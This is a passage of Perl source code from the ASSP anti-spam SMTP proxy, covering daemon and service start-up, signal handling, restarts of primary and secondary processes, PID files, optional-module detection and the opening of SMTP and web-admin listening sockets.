# reply also looks for a 235 AUTH OK and sets {relayok}=1
sub serviceCheck { }
sub d            { 
$debugprint = $_[0];
return; }

-d "$base/debug"       or mkdir "$base/debug",       0777;
if ($debug && !$AsASecondary) {
	my $fn = localtime();
 	$fn =~ s/^... (...) +(\d+) (\S+) ..(..)/$1-$2-$4-$3/;
 	$fn =~ s/[\/:]/-/g;
    open( $DEBUG, ">$base/debug/" . $fn . ".dbg" );
    binmode($DEBUG);
    my $oldfh = select($DEBUG);
    $| = 1;
    select($oldfh);
  }

eval(
    q[sub d {
 my $time = &timestring();
 $time =~ s/[\/:]/-/g;
 $debugprint = $_[0];
 $debugprint =~ s/\n//;
 $debugprint =~ s/\r//;
 $debugprint =~ s/\s+$//;
 
 print DEBUG "$time <$debugprint>\n";
 w32dbg("(DEBUG) <$debugprint>");
 }]
) if $debug;
my $time = &timestring();
if ($AsASecondary) {	
    fork() && exit 0;
    close STDOUT;
    close STDERR;
    $0 = "secondary ASSP";
    $assp = $0;
    $silent = 1;
} elsif ($AsADaemon) {
	$IsDaemon = 1;
	print "\n$time starting as daemon\n" ;
    fork() && exit 0;
    close STDOUT;
    close STDERR;
    $silent = 1;
} elsif(  $AsAService) {
 	close STDOUT;
	close STDERR;
 	$silent=1;
}


if ($pidfile && !$AsASecondary) { open(my $FH, ">$base/$pidfile" ); print $FH $$; close $FH; }
my $logdir;
$logdir = $1 if $logfile =~ /(.*)\/.*/;


-d "$base/$logdir" or mkdir "$base/$logdir", 0755 if $logdir;

# open the logfile
 printLOG("open");
  
  
if (! $silent) {
      if ($ConsoleCharset) {
          binmode STDOUT, ":encoding($ConsoleCharset)";
          binmode STDERR, ":encoding($ConsoleCharset)";
      } else {
          binmode STDOUT;
          binmode STDERR;
      }
  }

&init();


$SIG{INT}	=	sub {mlog(0,"received 'SIG INT'"); &downASSP("terminated by 'SIG INT'"); exit 1;} if !$AsASecondary;
$SIG{INT}	=	sub {&downSecondary("terminated by 'SIG INT'"); } if $AsASecondary;

$SIG{TERM}	=	sub {mlog(0,"received 'KILL -TERM'"); &downASSP("terminated by 'KILL -TERM'"); exit 1;} if !$AsASecondary;
$SIG{TERM}	=	sub {&downSecondary("terminated by 'KILL -TERM'");} if $AsASecondary;
$SIG{QUIT}	=	\&ConfigRestart if !$AsASecondary;
$SIG{HUP}  	= 	\&reloadConfigFile;
$SIG{USR1} 	= 	\&saveSMTPconnections if !$AsASecondary;
$SIG{USR1} 	= 	"IGNORE" if $AsASecondary;
$SIG{USR2} 	= 	\&SaveWhitelist if !$AsASecondary;
$SIG{USR2} 	= 	"IGNORE" if $AsASecondary;
$SIG{PIPE}  = 	\&renderConfigHTML if !$AsASecondary;;   	
$SIG{SEGV}	=	\&SEGVRestart;  	

&niceConfigPos();

&renderConfigHTML();

$lastTimeoutCheck = time;
eval {
    while (1)
    {
        &MainLoop;
    }
};
if ($@) {
	
    my $exmsg = "mainloop exception: $@\n";
    print $exmsg;

    printLOG("print",$exmsg) ;
	writeExceptionLog($exmsg);
 
    mlog( 0, "mainloop exception: $@", 1, 1 );
	downASSP("try restarting ASSP on exception: $@" );
    
	restartCMD(1); 
}
sub RemovePid {
	if ($pidfile && !$AsASecondary) {
  		d('RemovePid');
  		unlink("$base/$pidfile");
  	}
	if ($pidfile && $AsASecondary) {
  		d('RemovePid_Secondary');
  		unlink("$base/$pidfile"."_Secondary");
 	}
}
sub restartCMD {
	my ($exception) = @_;
	my $autorestart = 1;
	$autorestart = $AutoRestart if $exception;
    if ($AsAService) {
    	mlog(0,"autorestart as a service: cmd.exe /C net stop ASSPSMTP & net start ASSPSMTP",1);
        exec('cmd.exe /C net stop ASSPSMTP & net start ASSPSMTP');
    } elsif ($IsDaemon) {
        if ($AutoRestartCmd && $autorestart) {
        	mlog(0,"autorestart as a daemon: $AutoRestartCmd",1);
            exec($AutoRestartCmd);
            
            exit 1;
        } else {
          	exit 1;
        }
    } else {
        if ($AutoRestartCmd && $autorestart) {
        	mlog(0,"autorestart: $AutoRestartCmd",1);
            exec($AutoRestartCmd);
          	}
        exit 1;
    }
    mlog(0,"autorestart not possible, AutoRestartCmd not configured",1) if !$AsAService;
 
}
sub startPrimary {
	return if !$AutoRestartCmd && !$AsAService;

	printSecondary( "autorestart primary");
    if ($AsAService) {
    	
        exec('cmd.exe /C net stop ASSPSMTP & net start ASSPSMTP');

    } else {
                
        exec($AutoRestartCmd);
          
    }
 	exit 1;
}
sub checkPrimaryPID {


		if (!-e "$base/$pidfile") {

			return 0;
		}

		our $PID;
		open $PID, "<$base/$pidfile";
		$PrimaryPid = <$PID>;
		$PrimaryPid =~ s/\r|\n|\s//go;
    	close $PID;
 		my $primary;
    	$primary = kill 0, $PrimaryPid if $PrimaryPid;
		
		return $PrimaryPid if $primary;
		unlink("$base/$pidfile");
		return 0;
}
sub readSecondaryPID {


		if (!-e "$base/$pidfile". "_Secondary") {

			$SecondaryRunning = 0;
			$SecondaryPid = "";
			return 0;
		}
		my @s     = stat("$base/$pidfile". "_Secondary");
		my $mtime = $s[9];
		our $PID;
		open $PID, "<$base/$pidfile". "_Secondary";
		my $Pid = <$PID>;
    	close $PID;
    	$Pid =~ s/\r|\n|\s//go;
    	($SecondaryPid,$webPort) = $Pid =~ /(.*)\:?(.*)?/;
		my $secondary;
		$secondary = kill 0, $SecondaryPid if $SecondaryPid;
		if ($secondary) {
			$SecondaryRunning = 1; 
    		return $SecondaryPid;
		} else {
			unlink("$base/$pidfile"."_Secondary");
			$SecondaryRunning = 0;
			$SecondaryPid = 0;
			$webPort = "";
			return 0;
		}
}

    	
sub startSecondary {
		return if $AsASecondary;
		return if !$webSecondaryPort;
		if (&readSecondaryPID())  {

    		$SecondaryRunning = 1;
    		return 1;
    	}
    	mlog( 0, "Info: starting Secondary" );
		
		my $cmd;
		my $assp = $0;
		my $perl = $^X;
		
		unlink("$base/$pidfile". "_Secondary");
		
		if ( $^O eq "MSWin32" ) {
    		$assp = $base.'\\'.$assp if ($assp !~ /\Q$base\E/io);
    		$assp =~ s/\//\\/go;
    		my $asspbase = $base;
    		$asspbase =~ s/\\/\//go;

    		$cmd = "sleep 10;\"$perl\" \"$assp\" \"$asspbase\" --AsASecondary:=1";
		} else {
    		$assp = $base.'/'.$assp if ($assp !~ /\Q$base\E/io);
    		$cmd = "sleep 10;\"$^X\" \"$assp\" \"$base\"  --AsASecondary:=1";
		}
        d('Secondary - start');
        $cmd = $SecondaryCmd if $SecondaryCmd;
		
        mlog( 0, "Info: AutostartSecondary started '$cmd'" );

        system($cmd);

		$SecondaryRunning = 1;

        return 1;
 
}
sub restartSecondary {
		return if !$AsASecondary;
				
		my $cmd;
		my $assp = $0;
		my $perl = $^X;
		
		if ( $^O eq "MSWin32" ) {
    		$assp = $base.'\\'.$assp if ($assp !~ /\Q$base\E/io);
    		$assp =~ s/\//\\/go;
    		my $asspbase = $base;
    		$asspbase =~ s/\\/\//go;

    		$cmd = "\"$perl\" \"$assp\" \"$asspbase\" --AsASecondary:=1";
		} else {
    		$assp = $base.'/'.$assp if ($assp !~ /\Q$base\E/io);
    		$cmd = "\"$^X\" \"$assp\" \"$base\"  --AsASecondary:=1";
		}
        d('Secondary - start');
        $cmd = $SecondaryCmd if $SecondaryCmd;

		printSecondary( "restarted");
        system($cmd);

        exit 1;
 
}
sub downASSP {
    my $text = shift;

    return if $AsASecondary;
    return if $doShutdownForce;
    $doShutdownForce = 1;
    foreach (keys %SIG) {
       $SIG{$_} = {};
    }
    &closeAllSMTPListeners;
    &SaveStats;
	&SaveCache();
	&SavePB;


	&SaveWhitelist();
	&SaveRedlist();

    &closeAllWEBListeners;

    
    &RemovePid;
    mlog(0,"$text");
    return if !$AutostartSecondary;
    
	&readSecondaryPID();
	mlog(0,"terminating Secondary (PID: $SecondaryPid)") if $SecondaryPid;
	kill INT => $SecondaryPid if $SecondaryPid;


}
sub printSecondary {
    my $text = shift;
    my $time = &timestring();
#    print "$time Secondary($$): $text\n";
    $silent=0;
    mlog(0,"$assp($$): $text");
    $silent=1;
}

sub downSecondary {
    my $text = shift;
    
    return if !$AsASecondary;
	foreach my $WebSock (@WebSocket) {
            unpoll($WebSock,$readable);
            unpoll($WebSock,$writable);
            close($WebSock) || eval{$WebSock->close;} || eval{$WebSock->kill_socket();};
            delete $SocketCalls{$WebSock};         
    }

	printSecondary( "$text");
	unlink("$base/$pidfile"."_Secondary");
	exit 1;
}

sub closeAllSMTPListeners {

        mlog(0,"info: removing all SMTP listeners");
        foreach my $lsn (@lsn ) {
            eval{close($lsn);} if $lsn;
        }

        foreach my $lsn (@lsn2 ) {
            eval{close($lsn);} if $lsn;
        }

        foreach my $lsn (@lsnSSL ) {
            eval{close($lsn);} if $lsn;
        }

        foreach my $lsn (@lsnRelay ) {
            eval{close($lsn);} if $lsn;
        }

}

sub closeAllWEBListeners {
		my $lsn;
        mlog(0,"info: removing all WEB listeners");

		foreach my $StatSock (@StatSocket) {
            $readable->remove($StatSock);
            close($StatSock) || eval{$StatSock->close;} || eval{$StatSock->kill_socket();};
    	}
        foreach my $WebSock (@WebSocket) {
            unpoll($WebSock,$readable);
            unpoll($WebSock,$writable);
            close($WebSock) || eval{$WebSock->close;} || eval{$WebSock->kill_socket();};
            delete $SocketCalls{$WebSock};         
    	}
}

sub cmdToThread {
    my ($sub,$parm) = @_;

    mlog(0,"info:  '$sub' unkown");

}
sub init {
    my $ver;

    my $perlver = $];

    mlog( 0, "$PROGRAM_NAME version $version$modversion (Perl $]) initializing " );
    mlog( 0, "Starting as root") if $< == 0 && $^O ne "MSWin32";
	mlog( 0, "Error: Starting not as root!!!") if $< != 0 && $^O ne "MSWin32";
    mlog( 0, "Perl>= 5.8 needed for Webinterface!" ) if $] <= "5.008";
    $ver = IO::Socket->VERSION;
  	if (! $ver gt '1.30') {
      *{'IO::Socket::blocking'} = *{'main::assp_blocking'};   # MSWIN32 fix for nonblocking Sockets
      mlog(0,"IO::Socket version $ver is too less - recommended is 1.30_01 - hook ->blocking to internal procedure");
  	}

    if ($CanUseAvClamd) {
    	if ($hConfig->{modifyClamAV}) {
    		*{'File::Scan::ClamAV::ping'} = *{'main::ClamScanPing'};
    		*{'File::Scan::ClamAV::streamscan'} = *{'main::ClamScanScan'};

    	}
        my $clamavd = File::Scan::ClamAV->new(port => $AvClamdPort);
        

        if ( !$UseAvClamd ) {
            $AvailAvClamd = 1;
            $ver          = $clamavd->VERSION;
            $VerAvClamd   = $ver;
            $ver          = " version $ver" if $ver;
            mlog( 0, "File::Scan::ClamAV module$ver installed but disabled" );
            $CommentAvClamd = "<span class=negative>installed but disabled";
  
        } elsif ( $clamavd->ping() ) {
            $AvailAvClamd = 1;
            $ver          = $clamavd->VERSION;
            $VerAvClamd   = $ver;
            $ver          = " version $ver" if $ver;
            mlog( 0, "File::Scan::ClamAV module$ver installed and ready" );
            $CommentAvClamd = "<span class=positive>installed and ready";
            mlog( 0, "File::Scan::ClamAV modifyClamAV enabled" ) if $hConfig->{modifyClamAV} ;
            $CommentAvClamd .= "<br />modifyClamAV enabled" if $hConfig->{modifyClamAV};
        } else {
            $AvailAvClamd = 0;
            $ver          = $clamavd->VERSION;
            $VerAvClamd   = $ver;
            $ver          = " version $ver" if $ver;
            mlog( 0, "File::Scan::ClamAV module$ver installed but AvClamdPort not ready, error: ". $clamavd->errstr() );

            
            $CommentAvClamd =
              "<span class=negative>installed but AvClamdPort not ready, error:<br> " . $clamavd->errstr();
            $CommentAvClamd .= "<br />modifyClamAV enabled" if $hConfig->{modifyClamAV};
        }
    } else {
        $AvailAvClamd = 0;
        $VerAvClamd   = "";
        mlog( 0, "File::Scan::ClamAV module not installed" );
        $CommentAvClamd = "<span class=negative>not installed";
    }

    if ($localhostname) {
        mlog( 0, "$PROGRAM_NAME running on server: $localhostname ($localhostip)" );
    } else {
        mlog( 0, "$PROGRAM_NAME running on server: localhost ($localhostip)" );
    }
    if ($CanUseLDAP) {
        $ver        = eval('Net::LDAP->VERSION');
        $VerNetLDAP = $ver;
        $ver        = " version $ver" if $ver;
        mlog( 0, "Net::LDAP module$ver installed and available" );
        $CommentNetLDAP = "<span class=positive>LDAP available";
    } else {
        mlog( 0, "Net::LDAP module not installed" );
        $CommentNetLDAP = "<span class=negative>LDAP not available";
    }
    if ($CanUseDNS) {
        $ver       = eval('Net::DNS->VERSION');
        $VerNetDNS = $ver;
        $ver       = " version $ver" if $ver;
        mlog( 0, "Net::DNS module$ver installed" );
        $CommentNetDNS = "<span class=positive>DNS Resolver available";
    } else {
        $CommentNetDNS = "<span class=negative>DNS Resolver not available";
        mlog( 0, "Net::DNS module not installed" );
    }
    if ($CanUseAddress) {
        $ver           = eval('Email::Valid->VERSION');
        $VerEmailValid = $ver;
        $ver           = " version $ver" if $ver;
        mlog( 0, "email::Valid module$ver installed and available" );
        $CommentEmailValid = "<span class=positive>RFC5322 checks available";
    } else {
        $CommentEmailValid = "<span class=negative>RFC5322 checks not available";
        mlog( 0, "email::Valid module not installed" );

    }
    if ($CanUseEMS) {
        $ver    = eval('Email::Send->VERSION');
        $VerEMS = $ver;
        $ver    = " version $ver" if $ver;
        mlog( 0,
            "Email::Send module$ver installed - notification, email-interface, blockreports and resend available" );
        $CommentEMS = "<span class=positive>notification, email-interface, blockreports and resend available";
    } elsif ( !$AvailEMS ) {
        $CommentEMS = "<span class=negative>notification, email-interface, blockreports and resend not available";
        mlog( 0,
"Email::Send module not installed - notification, email-interface, blockreports and resend is not available"
        );
    }
    
	if ($CanUseAuthenSASL) {
    	$ver=eval('Authen::SASL->VERSION'); 
    	$VerAuthenSASL=$ver; 
    	$ver=" version $ver" if $ver;
    	mlog(0,"Authen::SASL module$ver installed - SMTP AUTH is available");
    	$CommentAuthenSASL= "<span class=positive>SMTP AUTH is available</span>";
  	} elsif (!$AvailAuthenSASL)  {
		$CommentAuthenSASL= "<span class=negative>SMTP AUTH is not available</span>";
    	mlog(0,"Authen::SASL module not installed - SMTP AUTH is not available");
  	}
  
    if ($CanUseSPF) {
        $ver = eval('Mail::SPF->VERSION');
        $ver =~ s/^v//gio;    # strip leading 'v'
        $VerMailSPF = $ver;
        $ver = " version $ver" if $ver;
        if ( $VerMailSPF >= 2.001 ) {
            mlog( 0, "Mail::SPF module$ver installed and available" );
            $CommentMailSPF =
"<span class=positive>SPF installed";
        } else {
            mlog( 0, "Mail::SPF module$ver installed but must be >= 2.001" );
            mlog( 0, "Mail::SPF will not be used." );
            $CommentMailSPF = "<span class=negative>disabled, must be >= 2.001";
            $CanUseSPF      = 0;
        }
    } elsif ($AvailSPF) {
        $ver = eval('Mail::SPF->VERSION');
        $ver =~ s/^v//gio;    # strip leading 'v'
        $ver = " version $ver" if $ver;
        mlog( 0, "Mail::SPF module$ver installed but Net::DNS required" );
        $CommentMailSPF = "<span class=negative>will not be used, Net::DNS required";
    } else {
        mlog( 0, "Mail::SPF module not installed" );
        $CommentMailSPF = "<span class=negative>module not installed";
    }
    if ($CanUseSRS) {
        $ver        = eval('Mail::SRS->VERSION');
        $VerMailSRS = $ver;
        $ver        = " version $ver" if $ver;
        mlog( 0,
            "Mail::SRS module$ver installed - Sender Rewriting Scheme available"
        );
        $CommentMailSRS = "<span class=positive>SRS available";
    } elsif ( !$AvailSRS ) {
        mlog( 0,
            "Mail::SRS module not installed - Sender Rewriting Scheme disabled"
        ) if $EnableSRS;
        $CommentMailSRS = "<span class=negative>SRS not installed";
    }
    if ($CanUseHTTPCompression) {
        $ver                 = eval('Compress::Zlib->VERSION');
        $VerCompressZlib     = $ver;
        $ver                 = " version $ver" if $ver;
        $CommentCompressZlib = "<span class=positive>HTTP compression available";
        mlog( 0,
            "Compress::Zlib module$ver installed - HTTP compression available"
        );
    } elsif ( !$AvailZlib ) {
        mlog( 0,
            "Compress::Zlib module not installed - HTTP compression disabled" );
        $CommentCompressZlib = "<span class=negative>HTTP compression not available";
    }
    if ($CanUseMD5) {
        $ver          = eval('Digest::MD5->VERSION');
        $VerDigestMD5 = $ver;
        $ver          = " version $ver" if $ver;
        mlog( 0,
"Digest::MD5 module$ver installed - Greylisting/Delaying can use MD5 keys for hashes"
        );
        $CommentDigestMD5 = "<span class=positive>Greylisting/Delaying can use MD5 keys for hashes";
    } else {
        mlog( 0,
"Digest::MD5 module$ver not installed - Greylisting/Delaying can not use MD5 keys for hashes"
        );
        $CommentDigestMD5 = "<span class=negative>Greylisting/Delaying can not use MD5 keys for hashes</span>";
    }
	if ($CanUseSHA1) {
        $ver          = eval('Digest::SHA1->VERSION');
        $VerDigestSHA1 = $ver;
        $ver          = " version $ver" if $ver;
        mlog( 0,
"Digest::SHA1 module$ver installed - Message-ID tagging (FBMTV) available"
        );
        $CommentDigestSHA1 = "<span class=positive>Message-ID tagging (FBMTV) available</span>";
    } else {
        mlog( 0,
"Digest::SHA1 module$ver not installed - Message-ID tagging (FBMTV)  not available"
        );
        $CommentDigestSHA1 = "<span class=negative>Message-ID tagging (FBMTV) not available</span>";
    }
    if ($CanSearchLogs) {
        $ver                      = eval('File::ReadBackwards->VERSION');
        $VerFileReadBackwards     = $ver;
        $CommentFileReadBackwards = "<span class=negative>searching of log files not available";
        $ver                      = " version $ver" if $ver;
        mlog( 0,
"File::ReadBackwards module$ver installed - searching of log files enabled"
        );
        $CommentFileReadBackwards = "<span class=positive>searching of log files enabled";
    } elsif ( !$AvailReadBackwards ) {
        mlog( 0,
"File::ReadBackwards module not installed - searching of log files disabled"
        );
        $CommentFileReadBackwards = "<span class=negative>searching of log files disabled";
    }
    if ($CanStatCPU) {
        $ver          = eval('Time::HiRes->VERSION');
        $VerTimeHiRes = $ver;
        $ver          = " version $ver" if $ver;
        mlog( 0,
            "Time::HiRes module$ver installed - CPU usage statistics available"
        );
        $CommentTimeHiRes = "<span class=positive>CPU statistics available";
    } elsif ( !$AvailHiRes ) {
        $CommentTimeHiRes = "<span class=negative>CPU statistics disabled";
        mlog( 0,
            "Time::HiRes module not installed - CPU usage statistics disabled"
        );
    }
    if ($CanChroot) {
        $ver = eval('PerlIO::scalar->VERSION');
        $ver = " version $ver" if $ver;
        if ($ChangeRoot)  {
        	mlog( 0, "PerlIO::scalar module$ver installed - chroot savy" );
			mlog(0,"error: ChangeRoot - /etc/protocols in $ChangeRoot not found!") unless -e "$ChangeRoot/etc/protocols";
		}
    }
    if ($CanUseSyslog) {
        $ver              = eval('Sys::Syslog->VERSION');
        $VerSysSyslog     = $ver;
        $ver              = " version $ver" if $ver;
        $CommentSysSyslog = "<span class=positive>Unix centralized logging installed";
        mlog( 0,
"Sys::Syslog module$ver installed - Unix centralized logging enabled"
        );
    } elsif ( !$AvailSyslog ) {
        $CommentSysSyslog = "<span class=negative>nix centralized logging disabled";
        mlog( 0, "Sys::Syslog module not installed." )
          if $sysLog && !$sysLogPort;
    }
	if( $^O eq "MSWin32") {
    if ($CanUseNetSyslog) {
        $ver              = eval('Net::Syslog->VERSION');
        $VerNetSyslog     = $ver;
        $ver              = " version $ver" if $ver;
        $CommentNetSyslog = "Network Syslog logging installed";
        mlog( 0,
            "Net::Syslog module$ver installed - network Syslog logging enabled"
        );
    } elsif ( !$AvailNetSyslog ) {
        $CommentNetSyslog = "<span class=negative>Network Syslog logging disabled";
        mlog( 0, "Net::Syslog module not installed." )
          if $sysLog && $sysLogPort;
    }
    }
	if( $^O eq "MSWin32") {
    	if ($CanUseWin32Daemon) {
        	$ver            = eval('Win32::Daemon->VERSION');
        	$VerWin32Daemon = $ver;
        	$ver            = " version $ver" if $ver;
        	mlog( 0,
            "Win32::Daemon module$ver installed - can run as Win32 service" );
        	$CommentWin32Daemon = "<span class=positive>can run as Win32 service";
    	} else {

        	$CommentWin32Daemon = "<span class=negative>module not installed";
    	}
    }


    if ($CanUseTieRDBM) {
        $ver         = eval('Tie::RDBM->VERSION');
        $VerRDBM     = $ver;
        $ver         = " version $ver" if $ver;
        $CommentRDBM = "<span class=positive>mysql usage available";
        mlog( 0, "Tie::RDBM module$ver installed - mysql usage available" );
    } elsif ( !$AvailTieRDBM ) {
        $CommentRDBM = "<span class=negative>mysql usage not available";
        mlog( 0, "Tie::RDBM module not installed - mysql usage not available" );
    }
 
    if ($CanMatchCIDR) {
        $ver         = eval('Net::IP::Match::Regexp->VERSION');
        $VerCIDR     = $ver;
        $ver         = " version $ver" if $ver;
        $CommentCIDR = "<span class=positive>CIDR notation available";
        mlog( 0,
            "Net::IP::Match::Regexp module$ver installed - CIDR notation for IP range available"
        );
    } else {
        $CommentCIDR = "<span class=negative>CIDR notation not available";
        mlog( 0,
            "Net::IP::Match::Regexp module not installed - CIDR notation for IP range not available"
        );
    }
    if ($CanUseCIDRlite) {
        $ver             = eval('Net::CIDR::Lite->VERSION');
        $VerCIDRlite     = $ver;
        $ver             = " version $ver" if $ver;
        $CommentCIDRlite = "<span class=positive>Hyphenated IP address range available";
        mlog( 0,
"Net::CIDR::Lite module$ver installed - Hyphenated IP address range available"
        );
    } elsif ( !$AvailCIDRlite ) {
        $CommentCIDRlite = "<span class=negative>Hyphenated IP address range not available";
        mlog( 0,
"Net::CIDR::Lite module not installed - Hyphenated IP address range not available"
        );
    }
    if ($CanUseSenderBase) {
        $ver           = eval('Net::SenderBase->VERSION');
        $VerSenderBase = $ver;
        $ver           = " version $ver" if $ver;
        mlog( 0,
"Net::SenderBase module$ver installed - SenderBase Queries available"
        );
        $CommentSenderBase = "<span class=positive>SenderBase Queries available";
    } elsif ( !$AvailSenderBase ) {
        $CommentSenderBase = "<span class=negative>SenderBase Queries not available";
        mlog( 0,
"Net::SenderBase module not installed - SenderBase Queries not available"
        );
    }
    if ($CanUseLWP) {
        $ver        = eval('LWP::Simple->VERSION');
        $VerLWP     = $ver;
        $ver        = " version $ver" if $ver;
        $CommentLWP = "<span class=positive>Download griplist available";
        mlog( 0, "LWP::Simple module$ver installed - griplist available" );
    } elsif ( !$AvailLWP ) {
        $CommentLWP = "<span class=negative>Download griplist not available";
        mlog( 0, "LWP::Simple module not installed - griplist not available" );
    }

        if ($CanUseEMM) {
        $ver    = eval('Email::MIME::Modifier->VERSION');
        $VerEMM = $ver;
        $ver    = " version $ver" if $ver;
        mlog( 0,
"Email::MIME::Modifier module$ver installed - attachments detection available"
        );
        $CommentEMM = "<span class=positive>Attachments detection available";
                $org_Email_MIME_parts_multipart = *{'Email::MIME::parts_multipart'};
    	*{'Email::MIME::parts_multipart'} = *{'main::parts_multipart'};
    	*{'Email::MIME::ContentType::_extract_ct_attribute_value'} = *{'assp_extract_ct_attribute_value'};
    	*{'Email::MIME::ContentType::_parse_attributes'} = *{'assp_parse_attributes'};

    } elsif ( !$AvailEMM ) {

        mlog( 0,
"Email::MIME::Modifier module not installed - attachments detection not available"
        );
        $CommentEMM = "<span class=negative>Attachments detection & blockreport not available";
    }
    
    if ($CanUseNetSMTP) {
        $ver        = eval('Net::SMTP->VERSION');
        $VerNetSMTP = $ver;
        $ver        = " version $ver" if $ver;
        mlog( 0,
            "Net::SMTP module$ver installed - VRFY Recipients available" );
        $CommentNetSMTP = "<span class=positive>VRFY Recipients available";
    } elsif ( !$AvailNetSMTP ) {
        $CommentNetSMTP = "<span class=negative>VRFY Recipients not available";
        mlog( 0,
            "Net::SMTP module not installed - VRFY Recipients not available"
        );
    }

    

    if ($AvailIOSocketSSL) {
        $ver            = eval('IO::Socket::SSL->VERSION');
        $VerIOSocketSSL = $ver;
		if ($VerIOSocketSSL < 1.08) {
	    	$CommentIOSocketSSL = "<span class=negative>Version >= 1.08 required - SSL support not available";
	    	mlog( 0, "IO::Socket::SSL module$ver installed - Version >= 1.08 required, SSL support not available ");
	    	$AvailIOSocketSSL = 0;
     	} else {
            $ver            = " version $ver" if $ver;
            $CommentIOSocketSSL = "<span class=positive>Secure SSL sockets installed";
            mlog( 0, "IO::Socket::SSL module$ver installed");
            $CanUseIOSocketSSL =
            	$AvailIOSocketSSL
            	&& -f $SSLCertFile
            	&& -r $SSLCertFile
            	&& -f $SSLKeyFile
            	&& -r $SSLKeyFile;
            if ($CanUseIOSocketSSL) {
            $CommentIOSocketSSL = "<span class=positive>SSL support available";
            $CommentIOSocketSSL .= "<span class=negative>TLS not available (enableSSL=off)" if !$enableSSL;
            $CommentIOSocketSSL .= "<span class=negative>TLS available (enableSSL=on)" if $enableSSL;
            mlog(0,"TLS support listenPorts is switched off in config(enableSSL)") if !$enableSSL;
        	mlog(0,"TLS support listenPorts is switched on in config(enableSSL)") if $enableSSL;
        	} else {
            
            	$CommentIOSocketSSL = "SSL support not ready";
            	if ( !-f $SSLCertFile ) {
                	$CommentIOSocketSSL .= ", CertFile $SSLCertFile not found";
           	 	} elsif ( !-r $SSLCertFile ) {
                	$CommentIOSocketSSL .= ", CertFile $SSLCertFile not readable";
            	}
            	if ( !-f $SSLKeyFile ) {
                	$CommentIOSocketSSL .= ", KeyFile $SSLKeyFile not found";
            	} elsif ( !-r $SSLKeyFile ) {
                	$CommentIOSocketSSL .= ", KeyFile $SSLKeyFile not readable";
            	}
            	mlog( 0, "$CommentIOSocketSSL" );
        	}

        }
        
    } else {
        $CommentIOSocketSSL = "<span class=positive>Secure SSL sockets not installed";
        mlog( 0,
            "IO::Socket::SSL module not installed - SSL support not available"
        );
    }

    
    if (!$enableINET6) {
	    	$CommentIOSocketINET6 = "<span class=negative><span class=negative>IPv6 support is disabled in config (enableINET6)";
	    	mlog( 0,
	        "IO::Socket::INET6 module not checked   - IPv6 support is disabled in config (enableINET6)");
	    	$CanUseIOSocketINET6 = 0;
    } elsif ($AvailIOSocketINET6) {
           
        $VerIOSocketINET6 = eval('IO::Socket::INET6->VERSION');
		
	    if ($VerIOSocketINET6 < 2.56) {
	    	$CommentIOSocketINET6 = "<span class=negative>Version >= 2.56 required, IPv6 support not available";
	    	mlog( 0,
	        "IO::Socket::INET6 module$ver installed - but Version >= 2.56 required, IPv6 support not available"
	    	);
	    	$CanUseIOSocketINET6 = 0;	
		} else {
            $ver            = " version $ver" if $ver;
            my $sys = ($SysIOSocketINET6 == 1) ? '' : ' - but IPv6 is not supported by your system';
            $CommentIOSocketINET6 = "<span class=positive>IPv6 installed and available$sys";
            mlog( 0,
                "IO::Socket::INET6 module$ver installed - IPv6 installed and available$sys"
            );
            $CanUseIOSocketINET6 = 1;
            $CanUseIOSocketINET6 = 0 if !$SysIOSocketINET6;
       }
    } else {
        $CommentIOSocketINET6 = "<span class=negative>IPv6 support not installed";
        mlog( 0, "IO::Socket::INET6 module not installed - IPv6 support not available" );
	
        $CanUseIOSocketINET6 = 0;
    }
	my $not;
    $readable = new IO::Select();
    $writable = new IO::Select();

    my $usessl = "HTTP";
	sleep 10;
    my $adminport = $webAdminPort; 
    $adminport = $webSecondaryPort if $AsASecondary && $webSecondaryPort;
	my @dummy;
	my ($WebSocket,$dummy);
    if ($CanUseIOSocketSSL && $enableWebAdminSSL) {
      ($WebSocket,$dummy)   = newListenSSL($adminport,\&NewWebConnection,1);
      @WebSocket = @$WebSocket;
      for (@$dummy) {s/:::/\[::\]:/o;}
      mlog(0,"listening for admin HTTPS connections on webAdminPort @$dummy") if @$dummy;
      $webAdminPortOK = 1 if @$dummy;
      mlog(0,"not listening for admin HTTPS connections on webAdminPort $adminport") if !@$dummy;
      $webAdminPortOK = 0 if !@$dummy;
      
  	} else {
      ($WebSocket,$dummy)   = newListen($adminport,\&NewWebConnection,1);
      for (@$dummy) {s/:::/\[::\]:/o;}
	  mlog(0,"listening for admin HTTP connections on webAdminPort @$dummy") if @$dummy;
	  $webAdminPortOK = 1 if @$dummy;
	  mlog(0,"not listening for admin HTTP connections on webAdminPort $adminport") if !@$dummy;
	  $webAdminPortOK = 0 if !@$dummy;
  	}
	if ($AsASecondary) {
		if (!@$dummy) {		
			my $Pid = &readSecondaryPID();    	

			printSecondary( "already running as PID=$SecondaryPid") if $Pid;
			printSecondary( "not listening on webSecondaryPort $adminport") if !$Pid;

    		$webAdminPortOK = 0;
    		exit 1;
    		
    	} else {

    		$webAdminPortOK = 1;
    		printSecondary( "listening on webSecondaryPort @$dummy") ;

			my $F;
    		if ($pidfile) { open( my $FH, ">$base/$pidfile"."_Secondary" ); print $FH "$$"; close $FH; }

    		my $pid = &checkPrimaryPID();
			kill PIPE => $pid if $pid;
		}
	}
    
    
    if (!$AsASecondary) {
    my ($lsn,$lsnI)        = newListen( $listenPort,   \&NewSMTPConnection );
    @lsn = @$lsn; @lsnI = @$lsnI;
    for (@$lsnI) {s/:::/\[::\]:/o;}
    $not = "NOT " if !$lsn[0];
    mlog( 0, "NOT listening for SMTP connections on listenPort $listenPort" ) if !$lsn[0];
	mlog(0,"listening for SMTP connections on listenPort @$lsnI") if $lsn[0];
	
    my ($StatSocket,$dummy); my @dummy;
    if ($CanUseIOSocketSSL && $enableWebStatSSL) {
    	my ($StatSocket,$dummy) = newListenSSL( $webStatPort,  \&NewStatConnection );
    	@StatSocket = @$StatSocket;
    	for (@$dummy) {s/:::/\[::\]:/o;}
    	mlog(0,"listening for statistics HTTPS connections on webStatPort @$dummy") if @$dummy;
    	mlog(0,"not listening for statistics HTTPS connections on webStatPort $webStatPort") if !@$dummy;
	} else {
    	my ($StatSocket,$dummy) = newListen( $webStatPort,  \&NewStatConnection );
    	@StatSocket = @$StatSocket;
    	for (@$dummy) {s/:::/\[::\]:/o;}
    	mlog(0,"listening for statistics HTTP connections on webStatPort @$dummy") if @$dummy;
    	mlog(0,"not listening for statistics HTTPS connections on webStatPort $webStatPort") if !@$dummy;
	}

    if ($listenPortSSL) {
        if ($CanUseIOSocketSSL) {
            my ($lsnSSL,$lsnSSLI) = newListenSSL($listenPortSSL, \&NewSMTPConnection );
            @lsnSSL = @$lsnSSL; @lsnSSLI = @$lsnSSLI;
